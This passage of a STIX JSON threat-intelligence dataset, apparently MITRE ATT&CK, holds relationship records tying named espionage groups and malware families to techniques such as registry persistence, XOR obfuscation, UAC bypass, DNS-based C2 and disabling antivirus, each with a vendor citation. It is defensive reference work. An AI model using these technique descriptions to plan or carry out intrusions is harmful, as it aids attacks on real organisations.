            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "description": "(Citation: FireEye admin@338)",
            "type": "relationship",
            "modified": "2019-09-04T19:48:17.684Z",
            "created": "2017-05-31T21:33:27.053Z"
        },
        {
            "id": "relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about services: <code>net start >> %temp%\\download</code>(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2019-09-04T19:48:17.582Z",
            "created": "2017-05-31T21:33:27.052Z"
        },
        {
            "id": "relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT30](https://attack.mitre.org/groups/G0013) may have used the [SHIPSHAPE](https://attack.mitre.org/software/S0028) malware to move onto air-gapped networks. [SHIPSHAPE](https://attack.mitre.org/software/S0028) targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4"
        },
        {
            "id": "relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Ke3chang](https://attack.mitre.org/groups/G0004) group has been known to compress data before exfiltration.(Citation: Villeneuve et al 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T02:22:30.541Z",
            "created": "2017-05-31T21:33:27.033Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADCALL](https://attack.mitre.org/software/S0245) collects the computer name and host name on the compromised system.(Citation: US-CERT BADCALL)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT BADCALL",
                    "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"
                }
            ],
            "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-27T20:35:51.612Z",
            "created": "2018-10-17T00:14:20.652Z"
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        {
            "id": "relationship--8d6cf235-4a33-4866-9b73-a7119293e5db",
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
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                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
                }
            ],
            "description": "(Citation: F-Secure The Dukes)",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.637Z",
            "created": "2017-05-31T21:33:27.050Z"
        },
        {
            "id": "relationship--77d079b6-2df9-4ae9-bc7c-1ebe99708660",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) searches for certain Registry keys to be configured before executing the payload.(Citation: US-CERT Bankshot Dec 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Bankshot Dec 2017",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.927Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7fe2431d-30b9-45ef-8857-ecef17e428a9",
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            "description": "[APT37](https://attack.mitre.org/groups/G0067) has used Windows DDE for execution of commands and a malicious VBS.(Citation: Securelist ScarCruft Jun 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/operation-daybreak/75100/",
                    "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.",
                    "source_name": "Securelist ScarCruft Jun 2016"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.841Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--b274a57d-9d27-4e33-b6dc-15e007805838",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
            "type": "relationship",
            "modified": "2020-03-14T23:34:13.615Z",
            "created": "2017-05-31T21:33:27.031Z"
        },
        {
            "id": "relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sakula](https://attack.mitre.org/software/S0074) contains UAC bypass code for both 32- and 64-bit systems.(Citation: Dell Sakula)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2020-03-17T02:29:53.502Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8bfa94cf-4eeb-442c-8f18-25b07cd3cbf5",
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            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used a tool known as RemoteExec (similar to [PsExec](https://attack.mitre.org/software/S0029)) to remotely execute batch scripts and binaries.(Citation: NCC Group APT15 Alive and Strong)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.570Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8e809969-d903-4e58-b8a9-7344127da3cd",
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            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) uses a simple one-byte XOR method to obfuscate values in the malware.(Citation: Malwarebytes SmokeLoader 2016)(Citation: Talos Smoke Loader July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/",
                    "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.",
                    "source_name": "Malwarebytes SmokeLoader 2016"
                },
                {
                    "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more",
                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
                    "source_name": "Talos Smoke Loader July 2018"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-06-24T19:07:12.668Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--087721ee-6643-4453-8a76-8768ced7e506",
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            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) adds Registry Run keys to achieve persistence.(Citation: Symantec Dragonfly)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T16:17:38.149Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8dd3bed4-1e3c-4a08-9181-669b5ca03075",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) gathers the victim\u2019s IP address via the <code>ipconfig -all</code> command.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lazarus RATANKBA",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"
                },
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-09-02T18:46:33.468Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f84b2658-a891-45a8-93ff-14dc0a86df10",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant decrypts strings using single-byte XOR keys.(Citation: Unit 42 C0d0so0 Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/",
                    "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 C0d0so0 Jan 2016"
                }
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-04-25T11:39:52.241Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--08bee5d2-5a60-416e-87cb-5cfe35cf67ff",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) C2 traffic can communicate via TCP raw sockets.(Citation: FireEye APT32 May 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
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            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00"
        },
        {
            "id": "relationship--cc5a6d27-5c74-4f53-afc1-390c71bfae7c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--ef273807-c465-4728-9cee-5823422f42ee",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31",
            "type": "relationship",
            "modified": "2020-02-05T19:35:59.182Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--91d4c776-c259-46b0-b511-b344ca027009",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The payload of [CozyCar](https://attack.mitre.org/software/S0046) is encrypted with simple XOR with a rotating key. The [CozyCar](https://attack.mitre.org/software/S0046) configuration file has been encrypted with RC4 keys.(Citation: F-Secure CozyDuke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-11-23T17:03:38.887Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes.(Citation: Fidelis Turbo)(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-08-16T18:52:50.635Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fb1ff794-8060-42c8-8969-b6660b07068f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-03-16T19:50:03.323Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6f9916d0-70c3-4504-93cf-cd0e8dd7ead1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) encoded C2 traffic with base64.(Citation: Unit 42 MuddyWater Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:24:44.555Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ebc8ea86-6847-494a-b304-b6750a2f54e5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses cmd.exe to execute commands on the victim\u2019s machine.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:52:53.301Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--aae339ae-44bb-48d3-b62e-7f35376bb974",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) uses DNS for the C2 communications.(Citation: fsecure NanHaiShu July 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "fsecure NanHaiShu July 2016",
                    "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "type": "relationship",
            "modified": "2020-03-17T01:53:17.533Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--07921720-429b-432c-8147-187162326ff2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) attempts to add a shortcut file in the Startup folder to achieve persistence.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Accenture Hogfish April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.356Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5d2ca571-9e66-4949-b3a1-978c47398b18",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the CPU, machine, and operating system.(Citation: Fidelis Turbo)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-08-16T18:52:50.636Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SslMM](https://attack.mitre.org/software/S0058) has a hard-coded primary and backup C2 string.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2019-04-25T02:48:47.550Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5576c38e-6b03-4ea9-8936-60eeddb749a7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[StreamEx](https://attack.mitre.org/software/S0142) establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.(Citation: Cylance Shell Crew Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Shell Crew Feb 2017",
                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
                    "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
                }
            ],
            "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-30T18:15:56.901Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--eb6ecbe4-07fc-4c45-9da8-fab737e300c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Socksbot](https://attack.mitre.org/software/S0273) can list all running processes.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-20T15:42:34.407Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fdea1dc1-4b00-411e-a5d3-cd72688237b5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) has downloaded and executed additional plugins.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
